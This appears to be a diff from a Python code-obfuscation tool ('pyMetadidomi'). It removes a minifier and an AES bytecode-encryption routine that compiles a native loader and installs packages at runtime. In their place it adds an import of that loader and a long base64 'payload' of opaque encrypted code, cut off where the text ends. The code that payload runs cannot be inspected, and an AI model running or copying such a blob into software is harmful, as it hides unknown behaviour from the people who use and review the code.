-    """Minification irréversible du code Python - Préserve la syntaxe valide"""
-    try:
-        import ast
-        # Vérifier que le code est valide
-        tree = ast.parse(code)
-        lines = code.split('\n')
-        minified_lines = []
-        for line in lines:
-            # Supprimer les commentaires (hors string)
-            l = line
-            in_string = False
-            new_line = ''
-            i = 0
-            while i < len(l):
-                if l[i] in ('"', "'"):
-                    quote = l[i]
-                    new_line += l[i]
-                    i += 1
-                    while i < len(l) and l[i] != quote:
-                        new_line += l[i]
-                        i += 1
-                    if i < len(l):
-                        new_line += l[i]
-                        i += 1
-                elif l[i] == '#':
-                    break  # Commentaire trouvé, on coupe
-                else:
-                    new_line += l[i]
-                    i += 1
-            # Garder la ligne si elle n'est pas vide (après suppression commentaire)
-            if new_line.strip():
-                minified_lines.append(new_line.rstrip())
-        minified_code = '\n'.join(minified_lines)
-        return minified_code
-    except Exception as e:
-        print(f"        [!] Erreur lors de la minification: {e}")
-        return code
-
-def protect_with_loader(code):
-    import sys, subprocess, os
-    import pathlib
-    # Compilation automatique du module natif pymloader si absent
-    loader_dir = pathlib.Path(__file__).parent
-    pymloader_c = loader_dir / 'pymloader.c'
-    pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-    pymloader_bin = loader_dir / pymloader_ext
-    
-    if not pymloader_bin.exists() and pymloader_c.exists():
-        print('[pyMetadidomi] Compilation du module natif pymloader...')
-        try:
-            if sys.platform.startswith('win'):
-                # Utiliser MinGW64 depuis le vendor
-                mingw_bin = r'd:\Metadidomi Crone\metadidomi-builder\build_tools\vendor\mingw64\bin'
-                gcc_path = os.path.join(mingw_bin, 'gcc.exe')
-                
-                if not os.path.exists(gcc_path):
-                    print(f'[pyMetadidomi] MinGW64 non trouvé à {mingw_bin}. Tentative de setup.py...')
-                    # Fallback: utiliser setup.py avec setuptools
-                    subprocess.run([sys.executable, '-m', 'pip', 'install', 'pybind11', 'setuptools', 'wheel'], 
-                                 capture_output=True, check=False, timeout=60)
-                    setup_py = loader_dir / 'setup.py'
-                    if not setup_py.exists():
-                        setup_content = '''from setuptools import setup, Extension
-import sys
-module = Extension('pymloader', sources=['pymloader.c'], libraries=['libcrypto', 'libssl'])
-setup(name='pymloader', ext_modules=[module])
-'''
-                        with open(setup_py, 'w') as f:
-                            f.write(setup_content)
-                    
-                    subprocess.run([sys.executable, str(setup_py), 'build_ext', '--inplace'], 
-                                 cwd=str(loader_dir), capture_output=True, check=True, timeout=120)
-                    print('[pyMetadidomi] Module pymloader compilé avec setup.py')
-                else:
-                    # Compiler avec MinGW64 (sans dépendance OpenSSL)
-                    python_include = os.path.join(sys.exec_prefix, 'include')
-                    # Chercher la bonne librairie Python (python311.lib ou .a)
-                    py_version = f"{sys.version_info.major}{sys.version_info.minor}"
-                    python_lib_dir = os.path.join(sys.exec_prefix, 'libs')
-                    python_lib = f"-lpython{py_version}"
-                    # Si python311.lib n'existe pas, essayer python3.11.a
-                    if not os.path.exists(os.path.join(python_lib_dir, f"python{py_version}.lib")):
-                        python_lib = f"-lpython{sys.version_info.major}.{sys.version_info.minor}"
-                    compile_cmd = [
-                        gcc_path, '-O2', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
-                        f'-I{python_include}', f'-L{python_lib_dir}', python_lib
-                    ]
-                    env = os.environ.copy()
-                    env['PATH'] = mingw_bin + ';' + env.get('PATH', '')
-                    subprocess.run(compile_cmd, env=env, check=True, timeout=120)
-                    print('[pyMetadidomi] Module pymloader compilé avec MinGW64')
-            else:
-                # Linux/Mac (sans dépendance OpenSSL)
-                subprocess.run(['gcc', '-O2', '-fPIC', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
-                              f'-I{sys.exec_prefix}/include/python{sys.version_info.major}.{sys.version_info.minor}'], 
-                              check=True, timeout=120)
-                print('[pyMetadidomi] Module pymloader compilé avec GCC')
-        except Exception as e:
-            print(f'[pyMetadidomi] Attention: Compilation pymloader échouée ({e}). Utilisation du fallback (AES Python).')
-            pymloader_bin = None
-    
-    # Préparation du bytecode chiffré
-    import base64, zlib, marshal
-    def pad(data):
-        pad_len = 16 - (len(data) % 16)
-        return data + bytes([pad_len] * pad_len)
-
-    key = os.urandom(32)
-    iv = os.urandom(16)
-    compiled = compile(code, '<obfuscated>', 'exec')
-    marshaled = marshal.dumps(compiled)
-    compressed = zlib.compress(marshaled)
-    # AES CBC (openssl compatible)
-    from Crypto.Cipher import AES
+    import pymloader
+    payload = base64.b64decode("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